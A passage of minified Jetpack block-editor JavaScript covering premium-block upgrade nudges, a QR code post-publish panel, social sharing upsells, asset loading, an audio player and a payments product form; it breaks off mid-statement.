__=s.__,m=[];(0,i.addFilter)("blocks.registerBlockType","jetpack/paid-block",((e,t)=>((0,r.X1)(t)&&(m.includes(t)||m.push(t),e.keywords=(0,l.uniq)([...e.keywords,"premium",__("premium","jetpack")]),(0,r.HD)(t)||(e.icon=(0,d.Z)(e.icon)),e.attributes.shouldDisplayFrontendBanner||(e.attributes.shouldDisplayFrontendBanner={type:"boolean",default:!0}),"core/cover"!==t&&(e.supports={...e.supports,__experimentalExposeControlsToChildren:!0})),e))),(0,i.addFilter)("editor.BlockEdit","jetpack/paid-block-with-warning",p.Z),(0,i.addFilter)("editor.MediaPlaceholder","jetpack/paid-block-media-placeholder",c.Z),(0,i.addFilter)("editor.MediaReplaceFlow","jetpack/paid-block-media-placeholder",u.Z),o()((function(){(0,r.FK)()&&document.body.classList.add("jetpack-enable-upgrade-nudge")}))},30371:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(13419),s=n(52175),l=n(94333),c=n(69307),u=n(11317),d=n(87950);t.Z=(0,l.createHigherOrderComponent)((e=>t=>{const{name:n}=(0,s.useBlockEditContext)(),r=(0,i.m3)(n);if(!r?.mediaPlaceholder||!(0,i.X1)(n))return(0,o.createElement)(e,t);const{fileType:l}=r,{onError:p}=t,{onBannerVisibilityChange:m}=(0,c.useContext)(d.x),h=(0,c.useCallback)((e=>m(e?.length&&(0,u.Qu)(e[0],l))),[l,m]),f=(0,c.useCallback)((e=>{const t=e?.[0]?.props?.children;return(0,u.Qu)(t,l)?h([t]):p(e)}),[h,l,p]);return(0,o.createElement)("div",{className:"paid-block-media-placeholder"},(0,o.createElement)(e,a()({},t,{onFilesPreUpload:h,onError:f})))}),"withMediaPlaceholderUpgradable")},7832:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(13419),s=n(52175),l=n(94333),c=n(69307),u=n(11317),d=n(87950);t.Z=(0,l.createHigherOrderComponent)((e=>t=>{const{name:n}=(0,s.useBlockEditContext)(),r=(0,i.m3)(n),l=(0,c.useRef)();if(!r?.mediaReplaceFlow||!(0,i.X1)(n))return(0,o.createElement)(e,t);const{fileType:p}=r,{onBannerVisibilityChange:m}=(0,c.useContext)(d.x);return(0,o.createElement)(e,a()({},t,{onFilesUpload:e=>{l.current=e?.length?e[0]:null,m(e?.length&&(0,u.Qu)(e[0],p))},createNotice:(e,n,r)=>{if((0,u.Qu)(l.current,p))return l.current=null,null;t.createNotice(e,n,r)}}))}),"withMediaReplaceFlowUpgradable")},95796:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=e=>{let{cx:t=23,cy:n=3,r:o=4,fill:i="#e34c84",stroke:s="#ffffff",strokeWidth:l="2"}=e;return(0,r.createElement)(a.Circle,{className:"jetpack-paid-block-symbol",cx:t,cy:n,r:o,fill:i,stroke:s,strokeWidth:l})}},42770:function(e,t,n){"use strict";n.d(t,{p:function(){return l}});var r=n(51806),a=n(13419),o=n(69307),i=n(95796);const s=e=>(e?.src?e={...e,src:(0,o.cloneElement)(e.src,{children:[e.src.props.children,(0,r.createElement)(i.Z,{key:"paid-symbol"})]})}:e?.props?.children&&(e=(0,o.cloneElement)(e,{children:[e.props.children,(0,r.createElement)(i.Z,{key:"paid-symbol"})]})),e);function l(e,t){return(0,a.X1)(e)?s(t):t}t.Z=s},66316:function(e,t,n){"use strict";var r=n(51806),a=n(9818),o=n(65736),i=n(26546),s=n(78798);const __=o.__,_x=o._x,l=__("Premium Block","jetpack"),/** translators: %s: name of the plan. */
c=__("Upgrade to %s to use this premium block","jetpack"),u=(__("Upgrade your plan to use this premium block","jetpack"),_x("Upgrade","Call to action to buy a new plan","jetpack"));t.ZP=e=>{let{onRedirect:t,align:n,className:d,title:p=l,description:m=null,buttonText:h=u,visible:f=!0,requiredPlan:g,context:b}=e;const[v,k,y]=(0,s.Z)(g,t),E=(0,a.useSelect)((e=>{if(m)return m;const t=e("wordpress-com/plans"),n=t&&t.getPlan(g);return n?(0,o.sprintf)(c,n.product_name_short):null}),[m]);return E&&(0,r.createElement)(i.p,{align:n,buttonText:h,checkoutUrl:v,className:d,context:b,description:E,goToCheckoutPage:k,isRedirecting:y,title:p,visible:f})}},38140:function(e,t,n){"use strict";n.d(t,{W:function(){return a},v:function(){return r}});const r=e=>{let{plan:t,blockName:n,context:r,tracks:a}=e;a.recordEvent("jetpack_editor_block_upgrade_click",{plan:t,block:n,context:r})},a=e=>{let{plan:t,blockName:n,context:r,tracks:a}=e;a.recordEvent("jetpack_editor_block_upgrade_banner_impression",{plan:t,block:n,context:r})}},27003:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(52175),i=n(94333),s=n(9818),l=n(69307),c=n(87950),u=n(66316),d=n(38140);t.Z=(0,i.createHigherOrderComponent)((e=>t=>{const{name:n,clientId:i,isSelected:p,attributes:m,setAttributes:h}=t||{},{hasParentBanner:f}=(0,l.useContext)(c.x)||{},{tracks:g}=(0,a.z$)(),b=(0,a.Rl)(n);if(!b)return(0,r.createElement)(e,t);const v=(0,a.HD)(n),k=(0,a.m3)(n),[y,E]=(0,l.useState)(!v),[w,_]=(0,l.useState)(!1),C="editor-canvas",S=(0,s.useSelect)((e=>e("core/block-editor").hasSelectedInnerBlock(i,!0)),[]),j=(p||S)&&y&&!f,x=(0,l.useMemo)((()=>({plan:b,blockName:n,context:C,tracks:g})),[b,n,g]);(0,l.useEffect)((()=>{j&&_(!0)}),[j,_]),(0,l.useEffect)((()=>{!w&&j&&(0,d.W)(x)}),[w,x,j]),(0,l.useEffect)((()=>E(!v)),[m,E,v]),(0,l.useEffect)((()=>{h({shouldDisplayFrontendBanner:!f})}),[h,f]);const P=(0,o.useBlockProps)();return(0,r.createElement)(c.L,{onBannerVisibilityChange:E,hasParentBanner:j},(0,r.createElement)("div",{ref:P.ref},(0,r.createElement)(u.ZP,{className:`is-${n.replace(/\//,"-")}-paid-block`,title:null,align:m?.align,visible:j,description:k?.description,requiredPlan:b,context:C,onRedirect:()=>(0,d.v)(x)}),(0,r.createElement)(e,t)))}),"withUpgradeBanner")},96564:function(e,t,n){"use strict";var r=n(13419),a=n(29719);(0,r.o_)(a.u,a.X)},29719:function(e,t,n){"use strict";n.d(t,{X:function(){return m},u:function(){return p}});var r=n(51806),a=n(6895),o=n(13419),i=n(55609),s=n(9818),l=n(72067),c=n(12238),u=n(65736),d=n(64967);const __=u.__,p="payments",m={render:()=>{const{tracks:e}=(0,o.z$)(),t=(0,a.Z)("wpcom-payments-donations");return"page"!==(0,s.useSelect)((e=>e(c.store).getCurrentPostType()),[])?null:(0,r.createElement)(l.PluginPostPublishPanel,{className:"jetpack-payments-post-publish-panel",title:__("Start accepting payments","jetpack"),initialOpen:!0,icon:d.Z},(0,r.createElement)("p",null,__("Insert the Payment Button or the Donations Form — no plugin required.","jetpack")),(0,r.createElement)("p",null,(0,r.createElement)(i.ExternalLink,{href:t,onClick:()=>{e.recordEvent("jetpack_editor_payments_post_publish_click")}},__("Learn more about these blocks","jetpack"))))}}},69683:function(e,t,n){"use strict";n.d(t,{D:function(){return m}});var r=n(51806),a=n(49777),o=n(55609),i=n(9818),s=n(12238),l=n(69307),c=n(65736),u=n(81427),d=n(41141);const __=c.__;function p(){const e=(0,l.useRef)(),[t,n]=(0,l.useState)();(0,l.useEffect)((()=>{if(!e?.current)return;const t=e.current.querySelector("svg");if(!t)return;const r=(new XMLSerializer).serializeToString(t);n(`data:image/svg+xml;base64,${window.btoa(r)}`)}),[e]);const o=(0,i.useSelect)((e=>e(s.store).getPermalink()),[]),{dataUrl:c}=(0,d.Z)({generateDataUrl:!0}),p=c||t;return(0,r.createElement)("div",{ref:e},(0,r.createElement)(a.Z,{value:o,size:300,imageSettings:p&&{src:p,width:64,height:64},renderAs:"canvas",level:"H"}),(0,r.createElement)(u.IM,{className:"qr-post-jetpack-logo",size:48,border:2}))}function m(){const e=(0,l.useRef)(),[t,n]=(0,l.useState)(!1);return(0,r.createElement)("div",{className:"qr-post-button"},(0,r.createElement)(o.Button,{isSecondary:!0,onClick:()=>n((e=>!e))},__("Get QR code","jetpack")),t&&(0,r.createElement)(o.Modal,{title:__("QR Post code","jetpack"),onRequestClose:()=>n(!1),className:"qr-post-modal"},(0,r.createElement)("div",{className:"qr-post-modal__qr-code",ref:e},(0,r.createElement)(p,null))))}},71664:function(e,t,n){"use strict";var r=n(13419),a=n(30730);(0,r.o_)(a.u,a.X)},41141:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(37798),a=n(9818),o=n(69307),i=n(92694);function s(){let{generateDataUrl:e=!1}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const[t,n]=(0,o.useState)(),{id:s,mediaItemData:l}=(0,a.useSelect)((e=>{const{canUser:t,getEntityRecord:n,getEditedEntityRecord:a}=e(r.store),o=a("root","site"),i=n("root","__unstableBase"),s=o?.site_logo,l=i?.site_logo,c=t("update","settings")?s:l,u=c&&e(r.store).getMedia(c,{context:"view"});return{id:c,mediaItemData:u&&{mediaId:u.id,url:u.source_url,alt:u.alt_text}}}),[]);if(!s||!l?.url)return{};if(!e)return{id:s,...l};const c=new Image,u=(0,i.applyFilters)("media.crossOrigin",void 0,l.url);return"string"==typeof u&&(c.crossOrigin=u),c.onload=function(){const e=document.createElement("canvas"),t=e.getContext("2d");e.height=this.naturalHeight,e.width=this.naturalWidth,t.fillStyle="white",t.lineJoin="round",t.fillRect(0,0,e.width,e.height);const r=.08*e.width;t.drawImage(this,r,r,e.width-2*r,e.height-2*r);try{n(e.toDataURL("image/png"))}catch(e){console.warn("Error generating QR code extensions post-publish-qr-post-panel: ",e),console.warn("In case it's a cross-origin issue, take a look at https://developer.wordpress.org/block-editor/reference-guides/filters/editor-filters/#media-crossorigin"),n(null)}},c.src=l.url,{id:s,...l,dataUrl:t}}},30730:function(e,t,n){"use strict";n.d(t,{X:function(){return m},u:function(){return p}});var r=n(51806),a=n(78868),o=n(55609),i=n(9818),s=n(72067),l=n(12238),c=n(65736),u=n(34613),d=n(69683);const __=c.__,p="post-publish-qr-post-panel",m={render:function(){const e={name:"post-publish-qr-post-panel",title:__("QR Code","jetpack"),className:"post-publish-qr-post-panel",icon:(0,r.createElement)(a.Z,{showText:!1,height:16,logoColor:"#1E1E1E"}),initialOpen:!1},t=(0,i.useSelect)((e=>e(l.store).isCurrentPostPublished()),[]);function n(){return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(o.PanelRow,null,(0,r.createElement)("p",null,__("Take advantage of the QR code to open the post from different devices.","jetpack"))),(0,r.createElement)(d.D,null))}return(0,r.createElement)(r.Fragment,null,(0,r.createElement)(s.PluginPostPublishPanel,e,(0,r.createElement)(n,null)),t&&(0,r.createElement)(u.Z,null,(0,r.createElement)(o.PanelBody,e,(0,r.createElement)(n,null))))}}},18374:function(e,t,n){"use strict";n.d(t,{Z:function(){return h}});var r=n(51806),a=n(74356),o=n(13419),i=n(55609),s=n(9818),l=n(12238),c=n(65736),u=n(15381),d=n(65235),p=n.n(d),m=n(78798);const __=c.__;function h(){const{isRePublicizeUpgradableViaUpsell:e,isRePublicizeFeatureAvailable:t,isPublicizeEnabled:n}=(0,a.Nh)(),d=(0,o.Rl)("republicize"),[h,f,g,b]=(0,m.Z)(d),{hasConnections:v,hasEnabledConnections:k}=(0,a.oL)(),y=n&&!e,E=(0,s.useSelect)((e=>e(l.store).isCurrentPostPublished()),[]);if(!E||E&&t)return(0,r.createElement)("div",null,function(e,t,n,r){const a=__("Start sharing your posts by connecting your social media accounts.","jetpack"),o=__("This post will be shared on all your enabled social media accounts the moment you publish the post.","jetpack");return n?t&&r?t&&r&&!e?o:__("Share this post on all your enabled social media accounts by clicking on the share post button.","jetpack"):__("Use this tool to share your post on all your social media accounts.","jetpack"):a}(E,y,v,k));const w=b?.product_name||__("paid","jetpack"),_=!(0,o.Ug)()&&!(0,o.Wp)(),C=_?__("Re-sharing your content","jetpack"):__("Share Your Content Again","jetpack",0),S=_?"https://jetpack.com/support/jetpack-social/#re-sharing-your-content":"https://wordpress.com/support/jetpack-social/#share-your-content-again",j=__("Upgrade now","jetpack");return t||e?(0,r.createElement)("div",{className:"jetpack-publicize__upsell"},(0,r.createElement)("div",{className:"jetpack-publicize__upsell-description"},(0,c.sprintf)(/* translators: placeholder is the product name of the plan. */
__("To re-share a post, you need to upgrade to the %s plan","jetpack"),w)),(0,r.createElement)(i.Button,{href:g?null:h,onClick:f,target:"_top",icon:u.Z,className:p()("jetpack-publicize__upsell-button is-primary",{"jetpack-upgrade-plan__hidden":!h}),isBusy:g},g?__("Redirecting…","jetpack"):j)):(0,r.createElement)("div",{className:"jetpack-publicize__upsell"},(0,r.createElement)("strong",null,C),(0,r.createElement)("br",null),(0,c.sprintf)(/* translators: placeholder is the product name of the plan. */
__("This feature is for sites with a %s plan.","jetpack"),w),(0,r.createElement)("br",null),(0,r.createElement)(i.ExternalLink,{href:S},__("More information.","jetpack")))}},55802:function(e,t,n){"use strict";var r=n(13419),a=n(71259);(0,r.o_)(a.u,a.X)},71259:function(e,t,n){"use strict";n.d(t,{X:function(){return p},u:function(){return d}});var r=n(51806),a=n(78868),o=n(74356),i=n(72067),s=n(12238),l=n(65736),c=n(34613),u=n(18374);const __=l.__,d="publicize",p={render:()=>{const{hasEnabledConnections:e}=(0,o.oL)(),{isSocialImageGeneratorAvailable:t}=(0,o.Nh)();return(0,r.createElement)(s.PostTypeSupportCheck,{supportKeys:"publicize"},(0,r.createElement)(o.iS,null),(0,r.createElement)(c.Z,null,(0,r.createElement)(o.$S,{enableTweetStorm:!0},(0,r.createElement)(u.Z,null)),t&&(0,r.createElement)(o.i$,null)),(0,r.createElement)(i.PluginPrePublishPanel,{initialOpen:e,id:"publicize-title",title:(0,r.createElement)("span",{id:"publicize-defaults",key:"publicize-title-span"},__("Share this post","jetpack")),icon:(0,r.createElement)(a.Z,{showText:!1,height:16,logoColor:"#1E1E1E"})},(0,r.createElement)(o.$S,{prePublish:!0,enableTweetStorm:!0},(0,r.createElement)(u.Z,null))),t&&(0,r.createElement)(i.PluginPrePublishPanel,{initialOpen:!0,title:__("Social Image Generator","jetpack"),icon:(0,r.createElement)(a.Z,{showText:!1,height:16,logoColor:"#1E1E1E"})},(0,r.createElement)(o.i$,{prePublish:!0})))}}},14166:function(e,t,n){"use strict";n.d(t,{Z:function(){return u}});var r=n(51806),a=n(55609),o=n(9818),i=n(12238),s=n(65736),l=n(8264);const __=s.__;function c(e){let{checked:t,onChange:n}=e;return(0,r.createElement)(a.CheckboxControl,{label:__("Show sharing buttons.","jetpack"),checked:t,onChange:e=>{n({jetpack_sharing_enabled:e})}})}function u(){const e=(0,o.useSelect)((e=>e(i.store).getEditedPostAttribute("jetpack_sharing_enabled")),[]),{editPost:t}=(0,o.useDispatch)(i.store);return(0,r.createElement)(i.PostTypeSupportCheck,{supportKeys:"jetpack-sharing-buttons"},(0,r.createElement)(l.Z,null,(0,r.createElement)(c,{checked:e,onChange:t})))}},27425:function(e,t,n){"use strict";var r=n(13419),a=n(3378);(0,r.o_)(a.u,a.X)},3378:function(e,t,n){"use strict";n.d(t,{X:function(){return o},u:function(){return a}});var r=n(14166);const a="sharing",o={render:r.Z}},21964:function(e,t,n){"use strict";var r=n(13419),a=n(9460);(0,r.o_)(a.u,a.X)},9460:function(e,t,n){"use strict";n.d(t,{X:function(){return s},u:function(){return i}});var r=n(9818),a=n(69307),o=n(65736);const __=o.__,i="site-editor-snackbars",s={render:()=>{const[e,t]=(0,a.useState)(),{createInfoNotice:n,removeNotice:i}=(0,r.useDispatch)("core/notices"),{entityTitle:s,entityType:l,isSiteEditor:c}=(0,r.useSelect)((e=>{var t,n;if(!e("core/edit-site"))return{isSiteEditor:!1};const{getEditedPostType:r,getEditedPostId:a}=e("core/edit-site"),{getEntityRecord:o,getPostType:i}=e("core"),s=o("postType",r(),a()),l=i(r());return{isSiteEditor:!0,entityTitle:null!==(t=s?.title?.raw)&&void 0!==t?t:"",entityType:null!==(n=l?.labels?.singular_name)&&void 0!==n?n:""}}));return(0,a.useEffect)((()=>{if(!c)return;const e=(0,r.subscribe)((()=>{setTimeout((()=>{const n=new URLSearchParams(window.location.search);if(!n.has("canvas"))return e();t(n.get("canvas"))}),0)}),"core/edit-site");return()=>e()}),[c]),(0,a.useEffect)((()=>{const t="jetpack/site-editor/snackbars";if(i(t),!c||"edit"!==e||!s||!l)return;const r=(0,o.sprintf)(/* translators: %1$s and %2$s are the title and type, respectively, of the entity being edited (e.g. "Editing the Index template", or "Editing the Header template part").*/
__("Editing the %1$s %2$s","jetpack"),s,l.toLowerCase());n(r,{id:t,type:"snackbar"})}),[c,e,n,i,s,l]),null}}},43718:function(e,t,n){"use strict";n.d(t,{K:function(){return a}});var r=n(55609);const a=(0,r.withFallbackStyles)(((e,t)=>{const{textColor:n,backgroundColor:r}=t,a=r&&r.color,o=n&&n.color;return{fallbackBackgroundColor:a||!e?void 0:getComputedStyle(e).backgroundColor,fallbackTextColor:o||!e?void 0:getComputedStyle(e).color}}))},85921:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(4981),i=n(65736),s=n(81427);const __=i.__;(0,a.Wp)()||(0,a.Ug)()||(0,o.registerBlockCollection)("jetpack",{title:"Jetpack",icon:(0,r.createElement)(s.IM,null)}),(0,o.setCategories)([...(0,o.getCategories)().filter((e=>{let{slug:t}=e;return"contact-form"!==t})),{slug:"contact-form",title:__("Forms","jetpack"),icon:(0,r.createElement)(s.IM,null)}]),(0,o.setCategories)([...(0,o.getCategories)().filter((e=>{let{slug:t}=e;return"earn"!==t})),{slug:"earn",title:__("Earn","jetpack"),icon:(0,r.createElement)(s.IM,null)}]),(0,o.setCategories)([...(0,o.getCategories)().filter((e=>{let{slug:t}=e;return"grow"!==t})),{slug:"grow",title:__("Grow","jetpack"),icon:(0,r.createElement)(s.IM,null)}])},85007:function(e,t,n){"use strict";function r(e){const t=e.ownerDocument;return{currentDoc:t,currentWindow:t.defaultView||t.parentWindow}}function a(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2],a=[];if(!t||!e&&!e.length||!function(e){const{currentWindow:t}=r(e);return"editor-canvas"===t.name&&t.self!==t.top}(t))return a;const{currentDoc:o,currentWindow:i}=r(t);if(!function(e){try{return!!e?.parent?.location.href}catch(e){return!1}}(i))return a;const s=i?.parent?.document;return o&&s?(a=e.filter((e=>{const t=s.querySelector(e),r=!!o.querySelector(e);return!(!t||r)&&(o.head.appendChild(t.cloneNode()),n&&t.remove(),!0)})),a):a}function o(e,t,n){const a=`${window.Jetpack_Block_Assets_Base_Url.url}editor-assets`,{currentDoc:o}=r(n),i=o.getElementsByTagName("head")[0];e.forEach((e=>{const[n,r]=e.file.split("/").pop().split(".");if("css"===r){if(o.getElementById(e.id))return;const t=o.createElement("link");t.id=e.id,t.rel="stylesheet",t.href=`${a}/${n}-${e.version}.${r}`,i.appendChild(t)}if("js"===r){const s=t[e.id]?t[e.id]:null;if(o.getElementById(e.id))return s();const l=o.createElement("script");l.id=e.id,l.type="text/javascript",l.src=`${a}/${n}-${e.version}.${r}`,l.onload=s,i.appendChild(l)}}))}function i(e,t){return new Promise((n=>{const r=()=>{e[t]?n(e[t]):e.requestAnimationFrame(r)};r()}))}n.d(t,{DT:function(){return a},Dz:function(){return i},Pp:function(){return o},bL:function(){return r}})},70355:function(e,t,n){"use strict";n.d(t,{m:function(){return i}});var r=n(80550),a=n(13419);const o=r.O["Jetpack Green 40"];function i(){return(0,a.Ug)()||(0,a.Wp)()?null:o}},81518:function(e,t,n){"use strict";n.d(t,{t:function(){return i}});var r=n(29512),a=n.n(r),o=n(92819);function i(e,t){const n=function(e,t){for(const n of new(a())(t).values()){if(-1===n.indexOf("is-style-"))continue;const t=n.substring(9),r=(0,o.find)(e,{name:t});if(r)return r}return(0,o.find)(e,"isDefault")}(e,t);return n?n.name:null}},26788:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(51806),i=n(55609),s=n(69307),l=n(65736);const __=l.__,_x=l._x;class c extends s.Component{constructor(){super(...arguments),a()(this,"state",{hasCopied:!1}),a()(this,"onCopy",(()=>this.setState({hasCopied:!0}))),a()(this,"onFinishCopy",(()=>this.setState({hasCopied:!1}))),a()(this,"onFocus",(e=>e.target.select()))}render(){const{link:e}=this.props,{hasCopied:t}=this.state;return e?(0,o.createElement)("div",{className:"jetpack-clipboard-input"},(0,o.createElement)(i.TextControl,{readOnly:!0,onFocus:this.onFocus,value:e}),(0,o.createElement)(i.ClipboardButton,{variant:"secondary",onCopy:this.onCopy,onFinishCopy:this.onFinishCopy,text:e},t?__("Copied!","jetpack"):_x("Copy","verb","jetpack"))):null}}t.Z=c},24381:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});const r=/^#?[A-Fa-f0-9]{6}$/;function a(e){return r.test(e)}},72752:function(e,t,n){"use strict";var r=n(51806),a=n(25158),o=n(69307),i=n(65736),s=n(92819),l=n(97115);const __=i.__,c="undefined"!=typeof _wpmejsSettings?_wpmejsSettings:{};function u(e,t,n){const r=document.createElement("div");r.className=e;const a=document.createElement("button");return a.innerText=t,a.addEventListener("click",n),a.setAttribute("aria-label",t),a.setAttribute("title",t),r.appendChild(a),r}t.Z=function(e){let{trackSource:t,onPlay:n,onPause:i,onError:d,onTimeChange:p,onSkipForward:m,onJumpBack:h,currentTime:f,playStatus:g=l._5,onMetadataLoaded:b,loadWhenReady:v=!1,preload:k="metadata"}=e;const y=(0,o.useRef)(),E=()=>{y.current.play().catch((()=>{}))},w=()=>{y.current.pause(),(0,a.speak)(__("Paused","jetpack"),"assertive")};return(0,o.useEffect)((()=>{MediaElementPlayer.prototype._setResponsiveMode||(MediaElementPlayer.prototype._setResponsiveMode=MediaElementPlayer.prototype.setResponsiveMode,MediaElementPlayer.prototype.setResponsiveMode=function(){const e=this;e.getElement(e.container).parentNode&&e._setResponsiveMode()})}),[]),(0,o.useEffect)((()=>{const e=y.current;e.preload=k;const t=new MediaElementPlayer(e,{...c,success:()=>v&&e?.load()});if(h||m){const e=`${t.options.classPrefix}button ${t.options.classPrefix}jump-button`;if(h){const n=`${e} ${t.options.classPrefix}jump-backward-button`;t.addControlElement(u(n,__("Jump Back","jetpack"),h),"jumpBackwardButton")}if(m){const n=`${e} ${t.options.classPrefix}skip-forward-button`;t.addControlElement(u(n,__("Skip Forward","jetpack"),m),"skipForwardButton")}}return n&&e.addEventListener("play",n),i&&e.addEventListener("pause",i),d&&e.addEventListener("error",d),b&&e.addEventListener("loadedmetadata",b),()=>{t.remove(),n&&e.removeEventListener("play",n),i&&e.removeEventListener("pause",i),d&&e.removeEventListener("error",d),b&&e.removeEventListener("loadedmetadata",b)}}),[n,i,d,h,m,b,v,k]),(0,o.useEffect)((()=>{const[e,t]=!1===y.current?.paused?[l.Wp,w]:[l._5,E],n=(0,s.debounce)(t,100);return l.Vy!==g&&e!==g&&n(),()=>{n.cancel()}}),[y,g,t]),(0,o.useEffect)((()=>{if(!p)return;const e=y.current,t=(0,s.throttle)((e=>p(e)),1e3,{leading:!0,trailing:!1}),n=e=>t(e.target.currentTime);return p&&e?.addEventListener("timeupdate",n),()=>{t.cancel(),e?.removeEventListener("timeupdate",n)}}),[y,p]),(0,o.useEffect)((()=>{const e=y.current;f&&e&&Math.abs(Math.floor(f-e.currentTime))>1&&(e.currentTime=f)}),[y,f]),(0,r.createElement)("div",{className:"jetpack-audio-player"},(0,r.createElement)("audio",{src:t,ref:y}))}},44738:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(51806),a=n(52175),o=n(55609),i=n(65235),s=n.n(i),l=n(46867);function c(e){let{blockName:t,buttonLabel:n,href:i,icon:c,onClick:u,subtitle:d,title:p,className:m}=e;const{autosaveAndRedirect:h}=(0,l.Z)(i);return(0,r.createElement)(a.Warning,{actions:i&&[(0,r.createElement)(o.Button,{href:i,onClick:e=>{e.preventDefault(),u(t),h(e)},target:"_top",variant:"secondary"},n)],className:s()(m,"jetpack-block-nudge wp-block")},(0,r.createElement)("span",{className:"jetpack-block-nudge__info"},c,(0,r.createElement)("span",{className:"jetpack-block-nudge__text-container"},(0,r.createElement)("span",{className:"jetpack-block-nudge__title"},p),d&&(0,r.createElement)("span",{className:"jetpack-block-nudge__message"},d))))}},57538:function(e,t,n){"use strict";n.d(t,{Z:function(){return g}});var r=n(51806),a=n(52175),o=n(4981),i=n(55609),s=n(9818),l=n(69307),c=n(65736),u=n(39630),d=n(65235),p=n.n(d),m=n(92819);const __=c.__,h=e=>{let{attributes:t,styleOption:n,viewportWidth:i,blockName:s}=e;const l=(0,o.getBlockType)(s);return(0,r.createElement)(a.BlockPreview,{viewportWidth:i,blocks:(c=l.example?(0,o.getBlockFromExample)(s,{attributes:{...l.example.attributes,style:n.value},innerBlocks:l.example.innerBlocks}):(0,o.createBlock)(s,t),{...c,attributes:{...c.attributes,__isBlockPreview:!0}})});var c},f=l.memo?(0,l.memo)(h,((e,t)=>(0,m.isEqual)(e,t))):h;function g(e){let t,{attributes:n,clientId:o,styleOptions:l,onSelectStyle:c,activeStyle:d,viewportWidth:m,title:h}=e;return s.useSelect&&(t=(0,s.useSelect)((e=>{const{getBlock:t}=e("core/block-editor");return t(o)}))),(0,r.createElement)(r.Fragment,null,(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(i.ToolbarGroup,{isCollapsed:!0,icon:"admin-appearance",label:__("Style","jetpack"),controls:l.map((e=>({title:e.label,isActive:e.value===d,onClick:()=>c({style:e.value})}))),popoverProps:{className:"jetpack-block-styles-selector-toolbar"}})),(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(i.PanelBody,{title:h||__("Styles","jetpack")},(0,r.createElement)("div",{className:"block-editor-block-styles jetpack-block-styles-selector"},l.map((e=>{const a={...n,style:e.value};return(0,r.createElement)("div",{key:e.value,className:p()("block-editor-block-styles__item",{"is-active":e.value===d}),onClick:()=>{c({style:e.value})},onKeyDown:t=>{u.ENTER!==t.keyCode&&u.SPACE!==t.keyCode||(t.preventDefault(),c({style:e.value}))},role:"button",tabIndex:"0","aria-label":e.label},(0,r.createElement)("div",{className:"block-editor-block-styles__item-preview"},e.preview?e.preview:s.useSelect&&t&&(0,r.createElement)(f,{blockName:t.name,styleOption:e,attributes:a,viewportWidth:m})),(0,r.createElement)("div",{className:"block-editor-block-styles__item-label"},e.label))}))))))}},56467:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t}=e;return(0,r.createElement)("p",{style:{color:"rgba( 117, 117, 117, 1 )",marginBottom:"24px"}},t)}},34904:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(51806);function a(e){let{children:t,spanClass:n}=e;return(0,r.createElement)("div",{className:"jetpack-inspector-notice"},(0,r.createElement)("span",{className:n},t))}},20769:function(e,t,n){"use strict";var r=n(82674),a=n.n(r),o=n(51806),i=n(55609);const s=i.NumberControl||i.__experimentalNumberControl||function(e){return(0,o.createElement)(i.TextControl,a()({type:"number",inputMode:"numeric"},e))};t.Z=s},14436:function(e,t,n){"use strict";n.d(t,{Bn:function(){return o},DM:function(){return i},DW:function(){return a},mj:function(){return r}});const r=0,a=1,o="payment-plan",i="subscription"},68880:function(e,t,n){"use strict";n.d(t,{Q:function(){return i},a:function(){return o}});var r=n(69307),a=n(14436);const o=(0,r.createContext)({blockName:void 0,clientId:void 0,products:[],productType:a.Bn,selectedProductId:0,setSelectedProductId:()=>{}}),i=()=>(0,r.useContext)(o)},60386:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(51806),a=n(52175),o=n(9818),i=n(7652),s=n(2327),l=n(14436),c=n(68880),u=n(86102),d=n(21200),p=n(16842);function m(e){let{blockName:t,clientId:n,productType:m=l.Bn,selectedProductId:h=0,setSelectedProductId:f=(()=>{})}=e;const g=(0,o.useSelect)((e=>e(i.h).getProducts(m,h,f)),[]),{connectUrl:b,isApiConnected:v,isSelectedProductInvalid:k,shouldUpgrade:y}=(0,o.useSelect)((e=>{const{getConnectUrl:t,getShouldUpgrade:n,isApiStateConnected:r,isInvalidProduct:a}=e(i.h);return{connectUrl:t(),isApiConnected:r(),isSelectedProductInvalid:a(h),shouldUpgrade:n()}}));if(y&&!v)return null;const E={blockName:t,clientId:n,products:g,productType:m,selectedProductId:h,setSelectedProductId:f};return(0,r.createElement)(c.a.Provider,{value:E},!v&&!!b&&(0,r.createElement)(a.BlockControls,{__experimentalShareWithChildBlocks:!0,group:"block"},(0,r.createElement)(s.Z,{blockName:t,connectUrl:b})),v&&(0,r.createElement)(r.Fragment,null,(0,r.createElement)(u.Z,null),(0,r.createElement)(p.Z,null)),v&&k&&(0,r.createElement)(d.Z,null))}},86102:function(e,t,n){"use strict";n.d(t,{Z:function(){return E}});var r=n(51806),a=n(52175),o=n(55609),i=n(9818),s=n(69307),l=n(65736),c=n(1078),u=n(99196),d=n(7652),p=n(79162),m=n(14436),h=n(68880),f=n(51585);const __=l.__,g="USD",b=5,v="1 month",k=!1,y=!1;function E(){const{productType:e,setSelectedProductId:t}=(0,h.Q)(),{shouldUpgrade:n,siteSlug:l}=(0,i.useSelect)((e=>{const{getShouldUpgrade:t,getSiteSlug:n}=e(d.h);return{shouldUpgrade:t(),siteSlug:n()}})),{saveProduct:E}=(0,i.useDispatch)(d.h),[w,_]=(0,s.useState)(m.mj),[C,S]=(0,s.useState)((0,f.l)("default new product title",e)),[j,x]=(0,s.useState)(!1),[P,L]=(0,s.useState)(g),[T,N]=(0,s.useState)(b),[A,R]=(0,s.useState)(v),[I,M]=(0,s.useState)(k),[B,Z]=(0,s.useState)(y),F=[{label:__("Month","jetpack"),value:"1 